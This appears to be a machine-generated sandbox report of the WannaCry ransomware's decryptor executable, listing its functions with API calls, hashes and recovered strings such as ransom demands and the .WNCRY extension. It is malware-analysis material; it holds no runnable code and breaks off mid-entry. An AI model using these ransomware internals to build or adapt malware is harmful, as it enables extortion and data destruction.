                                                                                                                          • Opcode ID: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                                                                                                          • Instruction ID: a2b5d8bb757b14b28e15fb80ad1863100e1319e91a413c2d323d0fcc62a15203
                                                                                                                          • Opcode Fuzzy Hash: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                                                                                                          • Instruction Fuzzy Hash: AA110334B423216BD734AB25BD58FA72695EFD4701795003FA801E76E1D7B89C42CA5C
                                                                                                                          Function 00405580 Relevance: 27.2, APIs: 18, Instructions: 187windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5785CreateDeleteObjectRect$#1168#1640#2405#2860#323#470#640#755BrushClientCompatibleFillSolid
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1233696098-0
                                                                                                                          • Opcode ID: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                                                                                                          • Instruction ID: b627e9c1237585dd637a27707791d59f98fdace04f8481d3914a5fbe5096edf5
                                                                                                                          • Opcode Fuzzy Hash: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                                                                                                          • Instruction Fuzzy Hash: 057135716087419FC324DF69C984AABB7E9FB88704F004A2EF59AC3350DB74E845CB66
                                                                                                                          Function 00408D70 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _ftol$CapsDevice$#2414$#1641#2754BrushCreateFillRectSolid
                                                                                                                          • String ID: DZA
                                                                                                                          • API String ID: 2487345631-3378329814
                                                                                                                          • Opcode ID: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                                                                                                          • Instruction ID: dda82c2241e8f2351b86cfb5efeedf8da928c70a362fdc9ee550b763b14e0e54
                                                                                                                          • Opcode Fuzzy Hash: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                                                                                                          • Instruction Fuzzy Hash: 2CA147716087418FC324DF25C984AAABBE1FFC8704F148A2EF599D7291DA39D845CF86
                                                                                                                          Function 00401600 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2385.MFC42 ref: 00401653
                                                                                                                          • #537.MFC42(Received response), ref: 00401634
                                                                                                                            • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                                                                                                            • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                                                                                                            • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                                                                                                          • #537.MFC42(Succeed), ref: 0040166F
                                                                                                                          • #2385.MFC42(?,?,?,Succeed), ref: 00401684
                                                                                                                          • #537.MFC42(Sent request), ref: 0040169F
                                                                                                                          • SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
                                                                                                                          • #2385.MFC42 ref: 004016D3
                                                                                                                          • #537.MFC42(Connected), ref: 004016F5
                                                                                                                          • SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
                                                                                                                          • #2385.MFC42 ref: 00401729
                                                                                                                          • #2385.MFC42(?,?,?), ref: 0040174C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2385$#537$MessageSend$#3092#6199#800
                                                                                                                          • String ID: Connected$Received response$Sent request$Succeed
                                                                                                                          • API String ID: 3790904636-3692714192
                                                                                                                          • Opcode ID: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                                                                                                          • Instruction ID: e9690c31fbc1831b63af9a5cc079f352e9ea826ed21b4fe1124c0ccffc889961
                                                                                                                          • Opcode Fuzzy Hash: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                                                                                                          • Instruction Fuzzy Hash: A631E8B130430067C5209F1AD959EAF7B69EBD4BB4F10852FF149A33D1CA795C4582FA
                                                                                                                          Function 00404DD0 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 00404DD5
                                                                                                                          • CreateSolidBrush.GDI32(?), ref: 00404DE9
                                                                                                                          • #1641.MFC42(00000000), ref: 00404DF3
                                                                                                                          • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
                                                                                                                          • #1641.MFC42(00000000), ref: 00404E26
                                                                                                                          • #3092.MFC42(00000403,00000000), ref: 00404E32
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
                                                                                                                          • #3092.MFC42(00000001), ref: 00404E57
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
                                                                                                                          • #3092.MFC42(00000002), ref: 00404E76
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
                                                                                                                          • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092$#1641Create$#4710BrushFontSolid
                                                                                                                          • String ID: Arial
                                                                                                                          • API String ID: 1126252797-493054409
                                                                                                                          • Opcode ID: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                                                                                                          • Instruction ID: f8dd995afa615cab71677879a74d6ff7c2e305333cbfc3da3be905e2a6067967
                                                                                                                          • Opcode Fuzzy Hash: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                                                                                                          • Instruction Fuzzy Hash: CC21C6B13507107FE625A764DD86FAA2759BBC8B40F10011EB345AB2D1CAF5EC41879C
                                                                                                                          Function 00406DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
                                                                                                                          • #823.MFC42(00000001,?,?), ref: 00406DEC
                                                                                                                          • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
                                                                                                                          • _strnicmp.MSVCRT ref: 00406E3E
                                                                                                                          • _strnicmp.MSVCRT ref: 00406E5A
                                                                                                                          • SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
                                                                                                                          • #6136.MFC42 ref: 00406EC4
                                                                                                                          • #825.MFC42(?), ref: 00406ED7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$_strnicmp$#6136#823#825
                                                                                                                          • String ID: <http://$<https://$T
                                                                                                                          • API String ID: 1228111698-1216084165
                                                                                                                          • Opcode ID: d423051487410fe263d6ec4d138bc8bb6478c9a20731e0d0eb8aa801e432672a
                                                                                                                          • Instruction ID: 32e461136b03d60599108953de6477053a568cccd29e118696d71e5d9ed076ef
                                                                                                                          • Opcode Fuzzy Hash: d423051487410fe263d6ec4d138bc8bb6478c9a20731e0d0eb8aa801e432672a
                                                                                                                          • Instruction Fuzzy Hash: 7E31D6B52043509BD320CF18CC41FABB7E4BB98704F044A3EF98AD7281E678D95987D9
                                                                                                                          Function 00402560 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 81fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete_wcsicmp$Movewcscatwcscpywcsrchr
                                                                                                                          • String ID: .WNCRY$.WNCYR$.org
                                                                                                                          • API String ID: 1016768320-4283512309
                                                                                                                          • Opcode ID: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                                                                                                          • Instruction ID: 8e688c7c8c2018b5eb76f9bfe5eaf8fc18d5300b1d9ff01e022ce9e0f1e53e02
                                                                                                                          • Opcode Fuzzy Hash: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                                                                                                          • Instruction Fuzzy Hash: 29219576240301ABD220DB15FE49BEB7799DBD4711F44483BF901A2280EB7DD90987BE
                                                                                                                          Function 00412360 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID: %s%s$%s%s%s$:
                                                                                                                          • API String ID: 0-3034790606
                                                                                                                          • Opcode ID: 5870813841fd6422a36b130af846364780db05c619c896662a0e99f340824b5b
                                                                                                                          • Instruction ID: ec0a86814d75b7591ef383b01d603f7b60d36dbaf36e5cde56c141efaaef7cbf
                                                                                                                          • Opcode Fuzzy Hash: 5870813841fd6422a36b130af846364780db05c619c896662a0e99f340824b5b
                                                                                                                          • Instruction Fuzzy Hash: 67C138726002045BDB20DF18ED81BEB7398EB85314F04456BFD54CB385D2BDE99A87AA
                                                                                                                          Function 00404280 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #6663.MFC42(mailto:,00000000,?), ref: 004042AC
                                                                                                                          • GetParent.USER32(?), ref: 004042BB
                                                                                                                          • #2864.MFC42(00000000), ref: 004042C2
                                                                                                                          • SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
                                                                                                                          • #2379.MFC42 ref: 004042DD
                                                                                                                            • Part of subcall function 00404530: #289.MFC42 ref: 0040455F
                                                                                                                            • Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                                                                                                            • Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                                                                                                            • Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                                                                                                            • Part of subcall function 00404530: #613.MFC42 ref: 004045BB
                                                                                                                          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
                                                                                                                          • #2379.MFC42(?), ref: 004042FF
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379#5789$#2864#289#613#6663ExecuteExtentMessageParentPoint32SendShellText
                                                                                                                          • String ID: mailto:$open
                                                                                                                          • API String ID: 1144735033-2326261162
                                                                                                                          • Opcode ID: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                                                                                                          • Instruction ID: 92cf742add8d60ef6c93fe1e72e53283c618a6078d8cf76be364cef0d5edaefa
                                                                                                                          • Opcode Fuzzy Hash: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                                                                                                          • Instruction Fuzzy Hash: AC0175753003106BD624A761ED46FEF7369AFD4B55F40046FFA41A72C1EAB8A8428A6C
                                                                                                                          Function 0040BAF0 Relevance: 15.3, APIs: 10, Instructions: 301stringsleepCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • strtok.MSVCRT(?,00421520,00000000,00000000), ref: 0040BBA9
                                                                                                                          • strtok.MSVCRT(00000000,00421520,00000000,00000000), ref: 0040BC22
                                                                                                                          • #825.MFC42(?,?), ref: 0040BCDD
                                                                                                                          • GetTickCount.KERNEL32 ref: 0040BCEC
                                                                                                                          • srand.MSVCRT ref: 0040BCF3
                                                                                                                          • rand.MSVCRT ref: 0040BD09
                                                                                                                          • #825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
                                                                                                                          • Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5
                                                                                                                          • #825.MFC42(?,?,?,?), ref: 0040BDED
                                                                                                                            • Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5
                                                                                                                          • #825.MFC42(?), ref: 0040BE7A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825$strtok$CountSleepTickrandsrand
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1749417438-0
                                                                                                                          • Opcode ID: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                                                                                                          • Instruction ID: 15ce6157e9eadcb8372a8ba3d428bceb52ebc69e02ab62c17c692bc1e2f98a80
                                                                                                                          • Opcode Fuzzy Hash: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                                                                                                          • Instruction Fuzzy Hash: 48A102716082059BC724DF34C841AABB7D4EF95314F044A3EF99AA73D1EB78D908C79A
                                                                                                                          Function 004038F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                                                                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
                                                                                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
                                                                                                                          • sprintf.MSVCRT ref: 0040397A
                                                                                                                          • #1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8
                                                                                                                            • Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
                                                                                                                            • Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
                                                                                                                            • Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
                                                                                                                            • Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                                                                                                          • CloseHandle.KERNEL32(?,00000001), ref: 004039F1
                                                                                                                          Strings
                                                                                                                          • All your files have been decrypted!, xrefs: 004039C3
                                                                                                                          • %08X.dky, xrefs: 00403969
                                                                                                                          • Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2642#3092$MessageSend$#1200CloseDiskDriveDrivesFreeHandleLogicalSpaceTypefopensprintf
                                                                                                                          • String ID: %08X.dky$All your files have been decrypted!$Pay now, if you want to decrypt ALL your files!
                                                                                                                          • API String ID: 139182656-2046724789
                                                                                                                          • Opcode ID: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                                                                                                          • Instruction ID: fac117d1ea4493994a32f15f907d1e0ff38d66192023d423f75a73c990ecb755
                                                                                                                          • Opcode Fuzzy Hash: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                                                                                                          • Instruction Fuzzy Hash: 1921E670344701ABD220EF25CC02FAB7B98AB84B15F10463EF659A72D0DBBCA5058B9D
                                                                                                                          Function 00404090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                                                                                                          • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                                                                                                          • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                                                                                                          • #860.MFC42(00421798), ref: 004040F6
                                                                                                                          • #858.MFC42(00000000,00421798), ref: 004040FE
                                                                                                                          • LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                                                                                                          • LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #540CursorLoad$#567#858#860
                                                                                                                          • String ID: 0ZA
                                                                                                                          • API String ID: 2440951079-2594568282
                                                                                                                          • Opcode ID: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                                                                                                          • Instruction ID: e4089f7d30d89e223e5e607c52669a324e752666537a285565f49de8eb968109
                                                                                                                          • Opcode Fuzzy Hash: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                                                                                                          • Instruction Fuzzy Hash: 20119071244B909FC320DF1AC941B9AFBE8BBC5704F80492EE18693741C7FDA4488B99
                                                                                                                          Function 00407CB0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                                                                                                            • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                                                                                                            • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                                                                                                          • #2514.MFC42 ref: 00407CE5
                                                                                                                          • #2414.MFC42 ref: 00407D1A
                                                                                                                          • #2414.MFC42 ref: 00407D4F
                                                                                                                          • #616.MFC42 ref: 00407D6E
                                                                                                                          • #693.MFC42 ref: 00407D7F
                                                                                                                          • #641.MFC42 ref: 00407D93
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#567$#2514#324#616#641#693
                                                                                                                          • String ID: [A$[A
                                                                                                                          • API String ID: 3779294304-353784214
                                                                                                                          • Opcode ID: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                                                                                                          • Instruction ID: 921579082029cd8bb4f4eae6bba3465eb1c6e4c5ad01fea5c96a88f9cf2edf1e
                                                                                                                          • Opcode Fuzzy Hash: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
